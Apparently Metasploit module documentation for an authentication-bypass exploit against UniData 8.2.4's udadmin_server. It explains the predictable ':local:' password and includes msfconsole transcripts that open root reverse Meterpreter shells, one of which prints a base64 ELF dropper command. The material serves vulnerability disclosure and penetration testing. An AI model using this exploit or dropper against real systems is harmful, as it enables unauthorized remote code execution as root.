## Vulnerable Application

Exploits a built-in username/password combination in `udadmin_server`, which is
the administrator server for UniData (and possibly other services). It's
accessed via the RPC service `unirpcd`.

A special username `:local:` is hardcoded into the application. If a user
attempts to remotely authenticate as `:local:`, the password is fully
predictable; it's made up of `<username>:<uid>:<gid>`, where the fields are:

* `username` - a username on the target host (eg, "root")
* `uid` - the corresponding user id (eg, 0 for "root")
* `gid` - any non-zero group id

If the user authenticates to the RPC service with this account, the username
and uid are validated, then the service will drop privileges to the given
account. Then the user can access any of the `udadmin_server` commands,
including `OsCommand`, which executes a Linux shell command.

The vulnerable application is `udadmin_server`, which is an RPC service that's
run as part of `unirpcd`, which powers Rocket Software's UniData application
(among others). The specific software is UniData 8.2.4.3001 for Linux. We
haven't tested any other versions (except for Windows, which is not
vulnerable).

The UniData software can be downloaded for free, but you have to request a demo
copy and wait for an email to arrive. I can provide the installation files if
needed.

The software is distributed as a .zip file, which contains a .tar file:

```
  [ron@unidata unidata]$ unzip Unidata\ Personal\ X86_8.2.4.3001.zip
  Archive:  Unidata Personal X86_8.2.4.3001.zip
    inflating: bin.tar
    inflating: UniData_Hotfix_V824_3001.pdf
    inflating: UniData_Release_Notes_v824.pdf

  [ron@unidata unidata]$ tar -xf bin.tar

  [ron@unidata unidata]$ sudo ./udtsetup

    [default options, set directories]

    CheckLang            Yes
    CheckPerms           No
    Group                sys
    InstallXDEMO         Yes
    LibDir               /home/ron/unidata/unidata/lib
    Startud              Yes
    UdtBin               /home/ron/unidata/unidata/bin
    UdtHome              /home/ron/unidata/unidata
    UnisharedDir         /home/ron/unidata/unishared
    WorkDir              /home/ron/unidata/unidata/work
```

I think it will automatically start the first time you install the software,
but to run it after a reboot (note that this must be done as root):

```
  # export UDTBIN=/home/ron/unidata/unidata/bin
  # export UDTHOME=/home/ron/unidata/unidata
  # export PATH=$PATH:$UDTBIN
  # export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$UDTBIN
  # export LANG=C
  # startud
```

(This module will not work at all against the Windows version)

## Verification Steps

1. Install the application (software and instructions are on Vulnerable Software drive)
1. Start msfconsole
1. Do: `use exploit/linux/misc/unidata_udadmin_auth_bypass`
1. Do: set `RHOST`, `LHOST`, and payload if desired
1. Do: `run`
1. You should get a shell.

## Options

### `UNIRPC_USERNAME`

The local username to use when authenticating. It must correspond to a Linux
account on the target host (it will be passed to `getpwnam(3)`, which must
recognize it). Generally, the default (`root`) works perfectly fine.

### `UNIRPC_UID`

The Linux user id that the service will run your command as. It must be the
user id that corresponds to the `UNIRPC_USERNAME`. The default (`0`) generally
works perfectly fine if `UNIRPC_USERNAME` is `root`.

### `UNIRPC_GID`

The Linux group id that the service will run your command as. Cannot be `0`,
but any other value works fine. The default (`1000`) probably looks the least
weird.

### `UNIRPC_ENDPOINT`

The RPC endpoint to connect to. The default (`udadmin`) as well as `udadmin82`
should work. It's unlikely anything else will work.

### `UNIRPC_ENCODE_MESSAGES`

A boolean, defined in the `unirpc.rb` mixin, that turns UniRPC's packet-body
encoding on or off. Default is `true`.

In the UniRPC header, there is a bit that enables packet encoding. If set, the
packet body is XOR'd with either 1 or 2, depending on another header field.
While it's not strong encoding by any means, it does hide the exploit from
passive inspection. We set the encoding the XOR'ing with 2 by default.

## Scenarios

### Version 8.2.4 with root user, unix command target

```
msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160
LHOST => ens160

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198
RHOST => 10.0.0.198

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4
[-] Unknown datastore option: UNIDATA_VERSION.

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true
VERBOSE => true

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show options

Module options (exploit/linux/misc/unidata_udadmin_auth_bypass):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   RHOSTS           10.0.0.198       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT            31438            yes       The target port (TCP)
   SSL              false            no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   UNIRPC_GID       1000             yes       gid to authenticate with (must not be 0, does not need to correspond to the username)
   UNIRPC_UID       0                yes       Linux uid to authenticate with (must correspond to the username)
   UNIRPC_USERNAME  root             yes       Linux username to authenticate with (must match the uid)
   URIPATH                           no        The URI to use for this exploit (default is random)


   When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  ens160           yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
[*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / root:0:1000
[*] 10.0.0.198:31438 - Sending OsCommand request
[*] Sending stage (24772 bytes) to 10.0.0.198
[*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.198:54560) at 2023-04-11 09:36:56 -0700

meterpreter > getuid
Server username: root
```

### Version 8.2.4 with invalid user

```
msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160
LHOST => ens160

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198
RHOST => 10.0.0.198

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4
[-] Unknown datastore option: UNIDATA_VERSION.

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true
VERBOSE => true

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME fake
UNIRPC_USERNAME => fake

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show options

Module options (exploit/linux/misc/unidata_udadmin_auth_bypass):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   RHOSTS           10.0.0.198       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT            31438            yes       The target port (TCP)
   SSL              false            no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   UNIRPC_GID       1000             yes       gid to authenticate with (must not be 0, does not need to correspond to the username)
   UNIRPC_UID       0                yes       Linux uid to authenticate with (must correspond to the username)
   UNIRPC_USERNAME  fake             yes       Linux username to authenticate with (must match the uid)
   URIPATH                           no        The URI to use for this exploit (default is random)


   When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  ens160           yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
[*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / fake:0:1000
[-] 10.0.0.198:31438 - Exploit aborted due to failure: unexpected-reply: UniRPC server returned something unexpected: UniRPC server returned an error code: Unknown error: 80011
[*] Exploit completed, but no session was created.
```

### Version 8.2.4 with non-root user, unix command target

```
msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160
LHOST => ens160

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198
RHOST => 10.0.0.198

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4
[-] Unknown datastore option: UNIDATA_VERSION.

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true
VERBOSE => true

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME ron
UNIRPC_USERNAME => ron

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_UID 1000
UNIRPC_UID => 1000

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
[*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / ron:1000:1000
[*] 10.0.0.198:31438 - Sending OsCommand request
[*] Sending stage (24772 bytes) to 10.0.0.198
[*] Meterpreter session 2 opened (10.0.0.227:4444 -> 10.0.0.198:54562) at 2023-04-11 09:39:14 -0700

meterpreter > getuid
Server username: ron
```

### Version 8.2.4 as root, with unix dropper target

```
msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Unix Command
    1   Linux Dropper


msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set TARGET 1
TARGET => 1

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set PAYLOAD linux/x64/meterpreter/reverse_tcp 
PAYLOAD => linux/x64/meterpreter/reverse_tcp

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160
LHOST => ens160

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198
RHOST => 10.0.0.198

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true
VERBOSE => true

msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
[*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / root:0:1000
[*] 10.0.0.198:31438 - Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAGgEAAAAAAAC8AQAAAAAAAAAQAAAAAAAAajlYDwVIhcB0CEgx/2o8WA8FBHAPBWo5WA8FSIXAdeox/2oJWJm2EEiJ1k0xyWoiQVpqB1oPBUiFwHhRagpBWVBqKViZagJfagFeDwVIhcB4O0iXSLkCABFcCgAA41FIieZqEFpqKlgPBVlIhcB5JUn/yXQYV2ojWGoAagVIiedIMfYPBVlZX0iFwHnHajxYagFfDwVean5aDwVIhcB47f/m>>'/tmp/AsOOd.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eFHfW' < '/tmp/AsOOd.b64' ; chmod +x '/tmp/eFHfW' ; '/tmp/eFHfW' ; rm -f '/tmp/eFHfW' ; rm -f '/tmp/AsOOd.b64'"]
[*] 10.0.0.198:31438 - Sending OsCommand request
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 10.0.0.198
[*] 10.0.0.198:31438 - Command Stager progress - 100.00% done (863/863 bytes)
[*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.198:54564) at 2023-04-11 09:41:57 -0700

meterpreter > getuid
Server username: root
```
